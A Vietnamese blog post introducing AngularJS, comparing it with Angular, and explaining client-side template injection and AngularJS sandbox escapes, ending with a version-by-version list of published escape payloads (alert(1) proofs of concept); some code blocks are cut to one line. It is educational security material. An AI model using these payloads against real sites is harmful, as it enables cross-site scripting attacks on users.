AngularJS
AngularJS là gì
AngularJS là một framework front-end mã nguồn mở dựa trên Javascript được sử dụng để phát triển các ứng dụng web đơn trang (Single Page web Application - SPAs). Nó được dùng để thay đổi HTML tĩnh sang HTML động.
AngularJS phát triển nhanh chóng, phiên bản cuối cùng là 1.8.3.
Một số tính năng của AngularJS
- Kiến trúc MVC: Tách ứng dụng thành 3 thành phần được kết nối với nhau, giúp code có tổ chức và dễ quản lý hơn.
- Two-way Data Binding: Tự động đồng bộ dữ liệu giữa View và Model, giảm số lượng mã.
- Directives: Thẻ HTML custom làm tăng chức năng chức năng các element và tạo các thành phần có thể tái sử dụng.
- Dependency Injection: Quản lý dependencies giữa các thành phần khác nhau.
- Routing: Hỗ trợ định tuyến cho phép developer tạo ra ứng dụng một trang với nhiều chế độ xem.
Ví dụ: String interpolation trong AngularJS
1 |
|
Output
AngularJS vs Angular
Angular là framework Typescript mã nguồn mở được tạo bởi Google để phát triển ứng dụng web. Front-end dev thường sử dụng các framework như Angular hay React để hiển thị và thao tác dữ liệu hiệu quả.
Ví dụ: String interpolation trong Angular.
1 | <!--app.component.html--> |
1 | //app.component.ts |
| Danh mục | AngularJS | Angular |
|---|---|---|
| Kiến trúc | Hỗ trợ thiết kế Model-View-Controller (MVC). View xử lý thông tin có sẵn trong Model để tạo ra đầu ra. | Sử dụng các component (thành phần) và directives (chỉ thị). Component thực chất là các directive có kèm theo template. |
| Ngôn ngữ lập trình | Được viết bằng JavaScript. | Được viết bằng ngôn ngữ TypeScript của Microsoft, là một tập siêu (superset) của ECMAScript 6 (ES6). |
| Hỗ trợ di động | Không hỗ trợ các trình duyệt di động. | Được hỗ trợ bởi tất cả các trình duyệt di động phổ biến. |
| Cú pháp biểu thức | Sử dụng ng-bind để ràng buộc dữ liệu từ View sang Model và ngược lại. |
Sử dụng các thuộc tính được bao quanh bởi dấu () và [] để ràng buộc dữ liệu giữa View và Model. |
| Ngôn ngữ hỗ trợ | Chỉ hỗ trợ JavaScript. | Hỗ trợ cả TypeScript và JavaScript. |
| Điều tuyến (Routing) | Sử dụng $routeprovider.when() để cấu hình điều tuyến. |
Sử dụng @RouteConfig{(...)} để cấu hình điều tuyến. |
| Cấu trúc | Khó quản lý hơn khi so sánh với Angular. | Có cấu trúc tốt hơn, dễ dàng tạo và bảo trì cho các ứng dụng lớn, nhưng phức tạp hơn AngularJS đối với các ứng dụng nhỏ. |
| CLI (Giao diện dòng lệnh) | Không đi kèm với công cụ CLI. | Đi kèm với công cụ Angular CLI. |
| Ứng dụng ví dụ | iStock, Netflix và trang web chính thức của AngularJS. | Upwork, Gmail và Wikiwand. |
XSS without HTML: Client-Side Template Injection with AngularJS
Giới thiệu
Khi bạn xem mã nguồn của một trang web sử dụng Angular (view-source), bạn sẽ thấy thuộc tính ng-app.
Template: Những gì bạn thấy trong mã nguồn HTML thực chất chỉ là một template.
Rendering: Khi trình duyệt tải trang, thư viện Angular sẽ quét qua HTML này, tìm các chỉ thị (directives) như ng-app và biến các đoạn mã tĩnh thành nội dung động.
Đây là phần quan trọng nhất về bảo mật. Nếu ứng dụng cho phép nội dung do người dùng nhập vào (user input) hiển thị trực tiếp lên trang web mà không được xử lý kỹ, kẻ tấn công có thể chèn mã độc.
Tại sao HTML-encoding vẫn không an toàn?
Thông thường, để chống lại lỗi XSS, các lập trình viên sẽ mã hóa các ký tự đặc biệt (ví dụ: biến < thành <).
Tuy nhiên, Angular không quan tâm đến các ký tự HTML đó. Nó tìm kiếm các Biểu thức (Expressions) nằm trong cặp dấu ngoặc nhọn kép {{ }}.
Nếu kẻ tấn công nhập vào: {{ 7 * 7 }}, Angular sẽ thực thi phép tính này và hiển thị 49 trên màn hình. Điều này chứng tỏ kẻ tấn công có thể thực thi mã JavaScript tùy ý trong ngữ cảnh của Angular.
Test thêm tại: https://jsfiddle.net/2zs2yv7o/
{{1+1}} -> 2
Hai ví dụ sau nói lên bản chất của lỗ hổng.
Ví dụ đầu tiên, trang này nhúng input động của người dùng, tuy nhiên ví dụ này không bị XSS do sử dụng htmlspecialchars để HTML encode.
1 | <html> |
Khi đó < thành <, > thành >.
Ví dụ thứ 2 này cũng tương tự, tuy nhiên ở đây AngularJS có cách xử lý khác, có thể thêm expression và bypass sandbox -> XSS
1 | <html ng-app> |
Nếu thấy một trang sử dụng Angular template -> dễ XSS hơn -> Giải pháp sử dụng sandbox -> Vẫn có cách bypass sandbox.
Sandbox
Angular expression điều được sandbox. Để khai thác, ta cần thoát khỏi sandbox và thực thi mã Javascript tùy ý.
Khi sử dụng payload {{1 + 1}} thì expression này được phân tích, parse, viết lại và thực thi bởi Angular.
1 | ; |
Ví dụ khác với expression {{constructor.constructor('alert(1)')()}}
1 | <html> |
Đây là kết quả được viết lại
1 | ; |
ensureSafeObject(obj): Đây là trạm kiểm soát danh tính. Nó sẽ chặn ngay lập tức nếu bạn định truy cập vào:
Window: Để bạn không thể gọi window.location hay các biến toàn cục.
Document: Ngăn chặn thao tác trực tiếp trên DOM.
Object/Function Constructor: Ngăn bạn tạo ra các hàm mới thực thi lệnh hệ thống.
ensureSafeMemberName(name): Trạm kiểm soát tên gọi. Nó ngăn bạn sử dụng các thuộc tính nhạy cảm như proto, defineGetter… để can thiệp vào lõi của JavaScript.
ensureSafeFunction(fn): Trạm kiểm soát hành động. Nó đảm bảo các hàm bạn gọi không phải là call, apply, bind hoặc chính cái Function constructor nguy hiểm.
Corrupting the sanitizer
Angular Sanitizer là một bộ lọc phía client. Khi dùng ng-bind-html, nó sẽ:
- Nhận chuỗi HTML đầu vào.
- Dựng nó lên một DOM tree ẩn.
- Quét qua các thẻ và thuộc tính dựa trên một “Whitelist” (danh sách trắng).
- Loại bỏ những gì được cho là nguy hiểm (như
onerror,onload).
Có thể thấy nếu dùng payload thông thường sẽ bị Angular chặn lại
Khó khăn: Trong môi trường AngularJS, bạn không thể khai báo một function statement hay function expression. Vậy làm sao để ghi đè một hàm có sẵn bằng mã độc của mình?
Nếu không thể tạo hàm mới, tại sao không lấy một hàm có sẵn của JavaScript và gán nó cho một hàm khác?
Mục tiêu được chọn là: String.fromCharCode.
Hàm này thường được các bộ lọc sử dụng để chuyển đổi các mã số thành ký tự (ví dụ: 65 thành ‘A’). Nếu chúng ta khiến hàm này luôn trả về một đoạn mã độc thay vì ký tự bình thường, chúng ta đã cài được backdoor thành công.
Kẻ tấn công sử dụng hàm [].join để thay thế cho fromCharCode.
Tại sao join lại hoạt động được trên String constructor?
Hàm join của Array rất “dễ dãi”: Nó không quan tâm “this” có phải là mảng thật hay không. Nó chỉ cần đối tượng đó có thuộc tính .length và các chỉ số 0, 1, 2....
String constructor là một hàm: Trong JavaScript, mọi hàm đều có thuộc tính .length (đại diện cho số lượng tham số đầu vào). Với String, length mặc định là 1.
Biến String thành mảng: Khi ta gán String[0] = '<payload>', lúc này đối tượng String trông không khác gì một mảng có 1 phần tử đối với hàm join
1 | 'a'.constructor.fromCharCode=[].join; |
Phân tích kỹ hơn về phần payload trên
Ngoài fromCharCode, ta có thể lợi dụng charCodeAt. Ví dụ
1 | 'abc'.charCodeAt(0) // Kết quả in ra 97 |
Từ ví dụ trên có thể thấy ta không thể sử dụng tương tự fromCharCode theo cách trên, bởi vì abc là chuỗi tĩnh, ta không kiểm soát được. Nhưng ta có thể kiểm soát được phần phía sau:
1 | "abc".constructor.prototype.charCodeAt = [].concat |
1 | if (validAttrs[lkey] === true && (uriAttrs[lkey] !== true || uriValidator(value, isImage))) { |
1 | function encodeEntities(value) { |
Có thể thấy out(key); out('="'); out(encodeEntities(value)); out('"'); nếu không bị hack sẽ tạo ra attribute=""", còn nếu sử dụng [].concat như trên sẽ thành attribute="&#"0;"
Escaping the sandbox
1 | {{ |
ra ",alert(1),". Angular sử dụng fromCharCode để biến \u0061 thành chữ 'a'. Nhưng thay vì return 'a', nó sẽ return ",alert(1),". Khi đó thành $eval('"\",alert(1),"') -> in ",alert(1),"
Tiếp theo thử với
1 | {{ |
Quá trình parse expression trên có lỗi từ browser, không phải từ Angular.
1 | ; |
Phần code được viết lại gặp lỗi cú pháp JS -> Hoàn toàn có thể chèn code vào phần output được viết lại.
1 | {{ |
Đây là đoạn code được viết lại
1 | ; |
Payload cuối cùng:
1 | {{ |
Note
Hiện tại bản AngularJS 1.6 đã loại bỏ sandbox
Sandbox escapes
- https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#angularjs-sandbox-escapes-reflected
- https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#dom-based-angularjs-sandbox-escapes
- https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#angularjs-csp-bypasses
List of Sandbox bypasses
1.0.1 - 1.1.5
Mario Heiderich (Cure53)
1 | {{constructor.constructor('alert(1)')()}} |
1.2.0 - 1.2.1
Jan Horn (Google)
1 | {{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}} |
1.2.2 - 1.2.5
Gareth Heyes (PortSwigger)
1 | {{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}} |
1.2.6 - 1.2.18
Jan Horn (Google)
1 | {{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}} |
1.2.19 - 1.2.23
Mathias Karlsson
1 | {{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}} |
1.2.24 - 1.2.29
Gareth Heyes (PortSwigger)
1 | {{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}} |
1.3.0
Gábor Molnár (Google)
1 | {{!ready && (ready = true) && ( |
1.3.1 - 1.3.2
Gareth Heyes (PortSwigger)
1 | {{ |
1.3.3 - 1.3.18
Gareth Heyes (PortSwigger)
1 | {{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join; |
1.3.19
Gareth Heyes (PortSwigger)
1 | {{ |
1.3.20
Gareth Heyes (PortSwigger)
1 | {{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}} |
1.4.0 - 1.4.9
Gareth Heyes (PortSwigger)
1 | {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}} |
1.5.0 - 1.5.8
Ian Hickey
1 | {{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}} |
1.5.9 - 1.5.11
Jan Horn (Google)
1 | {{ |
>=1.6.0
Mario Heiderich (Cure53)
1 | {{constructor.constructor('alert(1)')()}} |